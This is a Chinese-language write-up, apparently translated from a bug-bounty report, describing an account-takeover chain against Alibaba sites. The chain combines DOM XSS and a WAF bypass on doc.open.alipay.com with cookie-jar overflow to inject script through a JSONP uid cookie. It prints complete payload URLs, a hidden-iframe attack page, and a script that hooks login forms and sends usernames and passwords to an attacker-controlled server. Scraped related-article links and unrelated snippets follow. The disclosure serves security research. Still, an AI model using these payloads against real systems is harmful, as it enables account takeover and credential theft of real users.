一个账户接管几乎所有阿里巴巴网站(CSRF漏洞+WAF绕过)
场景
文章是关于某些客户端漏洞导致几个阿里巴巴网站的帐户被接管。

条件
TL;DR 必要条件,例如JSONP,某些浏览器处理cookie等行为。
攻击原理
大多数阿里巴巴的网站加载并执行外部JavaScript对象,JavaScript代码从名为的cookie中获取值uid。攻击者可以uid代表受害者将价值改变为恶意有效Payload,从而导致帐户接管。
漏洞发现的简要步骤
1、找到一个URL(ynuf.alipay.com),返回在许多阿里巴巴网站上执行的JavaScript代码。
2、实现了提到的URL反映了JavaScript代码中的cookie值。
3、搜索* .alipay.com以查找XSS以控制cookie值。
4、在子域中找到了潜在的基于DOM的XSS。
5、操纵入口点以避开两次WAF。
6、使用一种不常见的技术来重写cookie的值。
7、在许多网站上执行JavaScript代码,例如login.alibaba.com
8、写了一个漏洞利用代码来接管alibaba.com上的任何帐户
9、几乎最新版本的谷歌浏览器和Firefox浏览器已对最终版本进行了测试。文章末尾已经附上示范POC。
细节
什么是JSONP?
JSONP是一种发送JSON数据的方法。
- 可以加载外部JavaScript对象
 - 不使用XMLHttpRequest对象
 - 不太安全
 - 浏览器中的旁路SOP
 

JSONP请求/响应的示例
易受攻击的外部JavaScript对象
如图所示,阿里巴巴的许多网站从以下网址加载外部JavaScript对象:
https://ynuf.alipay.com/uid

JavaScrip代码:
um.__idcb("5cb143654b94f4a5")
这是一个简单的代码。仔细观察发现,5cb143654b94f4a5取自uid先前在ynuf.alipay.com域中设置的cookie 。如果用户没有cookie,则服务器会在响应中设置相应的值,否则取其值。工作流程如图:

JSONP Call阿里巴巴的两个域名
找到缺陷的顺序,第一个请求/响应:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Accept: */*
HTTP/1.1 200 OK
Date: Wed, 17 Oct 2018 17:38:10 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: d181bf00669d40c0
Set-Cookie: uid=d181bf00669d40c0; expires=Thu, 30 Jan 2031 08:00:00 GMT
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("26fadf90bac907a7")
第二次请求/回复:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=d181bf00669d40c0
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("d181bf00669d40c0")
第三个请求/回复:
GET /uid HTTP/1.1
Host: ynuf.alipay.com
User-Agent: curl/7.47.0
Cookie: uid=")+alert("Injected
Accept: */*
HTTP/1.1 200 OK
Date: Sun, 11 Nov 2018 08:47:40 GMT
Content-Type: application/javascript
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Vary: Accept-Encoding
ETag: test
Cache-Control: max-age=315360000, private
Server: Tengine/Aserver
Strict-Transport-Security: max-age=0
Timing-Allow-Origin: *
um.__idcb("")+alert("Injected")
由于没有对cookie值应用转义函数,因此可以注入恶意代码。什么样的漏洞导致控制cookie?
ynuf.alipay.com中的跨站点脚本
花一些时间寻找ynuf.alipay.com失败的XSS 。由于该网站功能较小。
Cookie中的重要说明
乍看之下,需要ynuf.alipay.com中的XSS来改变cookie的值。 根据 RFC6265,a.b.com可以设置具有域属性.b.com和a.b.com的cookie,其中浏览器自动将具有.b.com属性的cookie发送到b.com子域。

因此,通过x.y.alipay.com域,可以设置带有.alipay.com和.y.alipay.com属性的cookie。 Cookie由浏览器用于所有.alipay.com子域。 所以? 只需* .alipay.com中的一个小型XSS即可触发该链。 有效Payload如下:
uid=")+alert("xss;domain=.alipay.com
挖掘在*.alipay.com的XSS
Recon导致发现doc.open.alipay.com。 下面的访问URL重定向了用户。
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo
仔细观察URL,发现JavaScript处理的重定向不是3xx标头。 查看代码还显示,可以通过向查询字符串添加articleId参数来停止重定向。

触发XSS的第一个简单测试是通过双引号打破这条线。
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&keyword=foo">&articleId=bar
结果:

服务器端函数应用。

是否有机会得到XSS?
JavaScript的魔术
棘手的点
如果jQuery从表单中获取HTML编码值 .val(),则返回相应的HTML解码值。
<input id="input" value="&"" />
jQuery的:
$('#input').val() // return &"
回到查找漏洞的细节,仔细观察发现,doc.open.alipay.com体现keyword值的页面是由JavaScript产生的,构成该部分的JavaScript代码:
function h(b, e) {
        url = d.one(".J_ajaxUrl").val();
        var f = "keyword=" + (d.one(".J_Tagword") ? d.one(".J_Tagword").val() : d.one(".J_SearchKeyword").val()) + "&searchType=" + e;
        url.indexOf("?") > 0 ? url += "&" : url += "?",
        c({
            url: url + f + "¤t=" + b,
            type: "post",
            dataType: "json",
            data: {},
            success: function(b) {
                if (200 == b.code) {
                    var c = b.data;
                    c.typeTotals;
                    if (c.count > 0) {
                        var g = [];
                        c.results.length > 0 ? (a.each(c.results, function(a) {
                            "0" == e ? g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time" style="margin-right: 10px">' + a.typeName + "</span>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>") : g.push("<li>", '<h2><a href="' + a.link + '" target="_blank">' + a.title + "</a></h2>", '<div class="desc">' + a.content + "</div>", '<span class="time">更新时间: ' + a.gmtModifiedStr + "</span>", "</li>")
                        }),
                        d.all("ul", ".J_SearchList").html(g.join(""))) : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">该类目下没有符合条件的搜索结果</p>'),
                        a.each(d.all(".J_typeTotal"), function(a, b) {
                            var e = d.all(a);
                            e.parent();
                            0 == b ? e.text(c.count) : e.text(c[l[b] + "Count"])
                        }),
                        0 == e ? k.changeTotalPage(Math.ceil(c.count / c.size)) : k.changeTotalPage(Math.ceil(c[l[e] + "Count"] / c.size)),
                        k.setCurrentPage(c.current),
                        d.all(window).scrollTop(0)
                    } else
                        d.all("li", ".J_typeList").show(),
                        d.all(".J_typeTotal").text(0),
                        k.changeTotalPage(1),
                        d.one("#platformId") && "1" == d.one("#platformId").val() ? d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p>') : d.all("ul", ".J_SearchList").html('<p style="margin-top:50px;font-size: 16px;">没有符合条件的搜索结果</p><p style="margin-top:10px;color: #0089cd;"><a target="_blank" href="https://open.taobao.com/doc2/docSearch?' + f + '">搜索淘宝开放平台 --\x3e</a></p>')
                }
            }
        })
    }
它是链接中重要的javascript代码。服务器以正确编码输入j_searchkeywork中的参数关键字。但是,考虑到第 3行,d.one(“.j_searchkeyword”).val()返回HTML解码值,该值在下面的几行代码插入到页面中,目的是注入XSS有效Payload,即使是以HTML编码格式,它也不是一个常用的基于DOM的XSS攻击向量:

发送最简单的XSS有效Payload。 然而,服务器端的清理很烦人。 数据流:

绕过服务器端清理
生成XSS的第一步是添加一个新的HTML标记。 但是,服务器正在对关键字参数传递的标签应用某种规则。 Fuzz模糊测试:

导致透露出以下规则/条件:
- 1、删除属性并关闭有效HTML标记的标记,`<a href>`转为`<a> </a>`
- 2、无效标签被递归完全删除。 <blah>或<bl<blah>ah>被完全过滤。
更多模糊测试

>和< 预计会变成> 和&lt;。 但是上一个请求/响应显示了其他内容,很快发现服务器正在应用自定义HTML编码器功能:
1、如果输入未被识别为有效的html编码值 - > html_encode(value)
2、如果输入被识别为有效的HTML编码值 - >返回值
这个小瑕疵是一个很大的漏洞。 神奇的是输入了:
">%26gt;script%26lt;

然后,注入XSS有效Payload:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;script%26lt;
导致:

WAF阻止了请求。
绕过WAF
利用服务器端清理功能的第二条规则删除无效的HTML标记)可以成功绕过WAF。

数据流:

但是没有效果。 因为JavaScript发出了另一个AJAX请求。 考虑到gist代码的第10行,之前提到的JavaScript库依赖于AJAX请求。 请求是:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><script>&searchType=0¤t=1
当检测到有效Payload时,WAF阻止了第二个请求(毫无疑问,任何WAF都应该阻止"><script>)。坏消息是根据库规则,只有200状态代码才显示出有效Payload(gist代码中的第11行)
if (200 == b.code) {
因此,需要有效Payload同时绕过两个请求中的WAF规则。
这里需要更多的模糊测试。 测试了几种载体。 之后,发现了ontoggle有效Payload:
<details/open/ontoggle=JS>
这绕过了AJAX请求中的WAF。

感谢HTML 5.所以最终的有效Payload是:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=">%26gt;details%2fopen%2fontoggle=%26lt;
导致发送第二个AJAX请求:
https://doc.open.alipay.com/doc2/search.htm?platformId&keyword="><details/open/ontoggle=>&searchType=0¤t=1
两者都可以从WAF接受。 答对了!

场景:
1、构建恶意HTML网页
2、诱骗用户访问我们的网页
3、设置恶意cookie
4、JavaScript被注入许多阿里巴巴的子域
5、获取证书
漏洞利用问题:
由于ynuf.alipay.com使用uid名称为其域设置cookie,因此无法从其他域覆盖。 使用.alipay.com属性添加另一个具有相同名称的cookie也无法解决问题,因为如果域中存在两个名为xxx的cookie,则默认行为 是浏览器将旧cookie放在HTTP请求的前面,这样服务器就可以获取第一个cookie

覆盖Cookie
测试表明,浏览器可以为每个域节省有限数量的cookie。例如,谷歌浏览器为一个域节省了不到150个cookie,而Firefox节省了大约200个。更多细节:
http://browsercookielimits.squawky.net/
因此,有效Payload很简单:
for(var i=0;i<1000;i++){
	document.cookie=i+'=1;domain=.alipay.com'
}
document.cookie='uid=foo;domain=.alipay.com;path=/'
因此攻击向量uid通过添加许多垃圾cookie 来消除旧cookie,添加由恶意Payload填充的新uid cookie。
告警有效Payload
由于WAF阻断了")+alert("xss,因此等效值被替换为绕过WAF的编码值:
document.cookie='uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/'
最终组合
最终的有效Payload比预期的要简单:
https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73;domain=.alipay.com;path=/%27%22%3E
访问上面的URL会在cookie中注入恶意JavaScript代码,该代码在阿里巴巴公司的许多域中执行,例如:
https://login.alibaba.com/
https://passport.alibaba.com/mini_login.htm?appName=hrjob
https://accounts.alibaba.com/register/cnfm_reg.htm
https://login.taobao.com/member/login.jhtml
https://reg.taobao.com/member/reg/fill_mobile.htm
https://login.aliexpress.com/
http://tp.amap.com/
http://id.amap.com/
https://passport.alibaba-inc.com/ssoLogin.htm?APP_NAME=iworkmanage
https://ipp.alibabagroup.com/login.htm
https://mp.dayu.com/
https://passport.umeng.com/login
https://passport.damai.cn/loginEn
显然,有更多的网站受到影响。
最后目标
最终目标是在阿里巴巴的网站上进行账户接管。 诱导用户点击链接,然后如果用户下次登录,该帐户将被泄露。 触发漏洞的链接源:
<html>
<center>
<img src='https://pbs.twimg.com/profile_images/701729713392320512/PaYM_TF4_400x400.jpg'><img>
<iframe src="https://doc.open.alipay.com/doc2/docSearch.htm?treeId=300&articleId=bar&keyword=1%22%3E%26lt;details/open/ontoggle=%22for(var+i=0;i%3C1000;i%2b%2b){document.cookie=i%2b%27=1;domain=.alipay.com%27}document.cookie=%27uid=\x22\x29\x2b\x28\x73\x63\x72\x69\x70\x74\x3d\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x63\x72\x65\x61\x74\x65\x45\x6c\x65\x6d\x65\x6e\x74\x28\x27\x73\x63\x72\x69\x70\x74\x27\x29\x2c\x73\x63\x72\x69\x70\x74\x2e\x73\x72\x63\x3d\x27\x68\x74\x74\x70\x73\x3a\x2f\x2f\x31\x32\x37\x2e\x30\x2e\x30\x2e\x31\x2f\x78\x70\x6c\x2e\x6a\x73\x27\x2c\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x62\x6f\x64\x79\x2e\x61\x70\x70\x65\x6e\x64\x43\x68\x69\x6c\x64\x28\x73\x63\x72\x69\x70\x74\x29\x29\x2b\x28\x22;domain=.alipay.com;path=/%27%22%3E" style="width:0;height:0;border:0; border:none;"></iframe>
</html>
iframe src使用以下有效Payload而不是alert来注入恶意JavaScript文件并动态加载:
"\")+(script=document.createElement('script'),script.src='https://myserver/xpl.js',document.body.appendChild(script))+(\""
有效Payload放在https://myserver/xpl.js:
document.forms[0].onsubmit = function() {
	var u = document.getElementById('fm-login-id');
	var p = document.getElementById('fm-login-password');
	var s = new XMLHttpRequets();
	s.open('POST', 'https://myserver/xxx-alibaba/');
	s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
	s.onreadystatechange = function() {
		if (s.readState == 4) {
			document.forms[0].submit();
		}
	}
	s.send(`u=${u}&p=${p}`);
	return false;
}
最终,在用户访问攻击者的链接并登录https://login.alibaba.com/后,凭据将被盗并保存在https://myserver/xxx-alibaba/data.txt中:
{"u":"alibaba@alibaba.com","p":"password"}
帐户接管完成。
演示
参考
一个账户接管几乎所有阿里巴巴网站(CSRF漏洞+WAF绕过)的更多相关文章
- 从跨域与同源策略谈CSRF防御与绕过
		
之前偶然看到群里有小伙汁问这个token相关的问题,当时我酝酿了一下子,没想好怎么总结,今天来说一下 CSRF在过去还属于OWASP TOP10 ,现在已经不是了(补充一点:关于OWASP API 请 ...
 - 如果一个网站存在CSRF漏洞,可以通过CSRF漏洞做下面那些事情?
		
如果一个网站存在CSRF漏洞,可以通过CSRF漏洞做下面那些事情? 答:跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求.利用受害者在被攻击网站已经获取的注册凭证 ...
 - [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(四)
		
一步步打造一个简单的 MVC 电商网站 - BooksStore(四) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore &l ...
 - 网站环境apache + php + mysql 的XAMPP,如何实现一个服务器上配置多个网站?
		
xampp 是一个非常方便的本地 apache + php + mysql 的调试环境,在本地安装测试 WordPress 等各种博客.论坛程序非常方便.今天我们来给大家介绍一下,如何使用 XAMPP ...
 - [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(二)
		
一步步打造一个简单的 MVC 电商网站 - BooksStore(二) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore 前: ...
 - [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(三)
		
一步步打造一个简单的 MVC 电商网站 - BooksStore(三) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore &l ...
 - [.NET] 一步步打造一个简单的 MVC 电商网站 - BooksStore(一)
		
一步步打造一个简单的 MVC 电商网站 - BooksStore(一) 本系列的 GitHub地址:https://github.com/liqingwen2015/Wen.BooksStore &l ...
 - php实现同一时间内一个账户只允许在一个终端登陆
		
在账户表的基础上,我新建了一个账户account_session表,用来记录登录账户的account_id和最新一次登录成功用户的session_id,然后首先要修改登录方法:每次登录成功后,要将登录 ...
 - Flutter - JSON to Dart,一个json转dart实体的网站
		
如你所见,一个json转dart实体的网站,https://javiercbk.github.io/json_to_dart/
 
随机推荐
- shell脚本监控
			
监控磁盘空间 vim check_disk.sh #!/bin/bash # test common. #warn=$ #err=$ #mount=$ check_val() { /usr/bin/e ...
 - 关于vue build时一直报错
			
真鸡儿坑,截图说下是什么错: 像上面这种,一大堆,看不出具体是为什么,然后根据网上搜到的教程注释了webpack.base.conf.js里的某一行: 重新build,成功.......... 醉了啊 ...
 - setData 和 直接赋值的区别
			
wxml: <view> <block wx:for="{{dataArray}}" wx:key="id"> <v-book b ...
 - 用ES6创建一个简单工厂模式
			
1 什么是工厂模式? 工厂模式是用来创建对象的一种最常用的设计模式.我们不暴露创建对象的具体逻辑,而是将将逻辑封装在一个函数中,那么这个函数就可以被视为一个工厂.工厂模式根据抽象程度的不同可以分为:简 ...
 - 支持“XXX”上下文的模型已在数据库创建后发生更改。请考虑使用 Code First 迁移更新数据库(http://go.microsoft.com/fwlink/?LinkId=238269)。
			
在Global.asax文件中的Application_Start()方法中加入以下代码 Database.SetInitializer<XXX>(null);
 - 快速沃尔什变换(FWT)及K进制异或卷积&快速子集变换(FST)讲解
			
前言: $FWT$是用来处理位运算(异或.与.或)卷积的一种变换.位运算卷积是什么?形如$f[i]=\sum\limits_{j\oplus k==i}^{ }g[j]*h[k]$的卷积形式(其中$\ ...
 - Android List 排序
			
Collections.sort(list, (l1, l2) -> l1.getID().compareTo(l2.getID())); list:泛型集合 l1:比较的前一个泛型 l2:比较 ...
 - 【THUSC2017】【LOJ2979】换桌 线段树 网络流
			
题目大意 有 \(n\) 个圆形的桌子排成一排,每个桌子有 \(m\) 个座位. 最开始每个位置上都有一个人.现在每个人都要重新选择一个座位,第 \(i\) 桌的第 \(j\) 个人的新座位只能在第 ...
 - 修改CentOS6.5默认主机名(root下操作)
			
使用CentOS6.5官方镜像安装完毕之后,默认的主机名为localhost,不便管理,我们需要根据实际情况修改. 此处我准备讲默认的主机名 localhost 改为 comex01-ct65 第一步 ...
 - django 4.get接口开发
			
根据上一篇文章,有post,那么就有get请求,其余部分不变,就是把post换成get就可以. #views.py from django.http.response import HttpRespo ...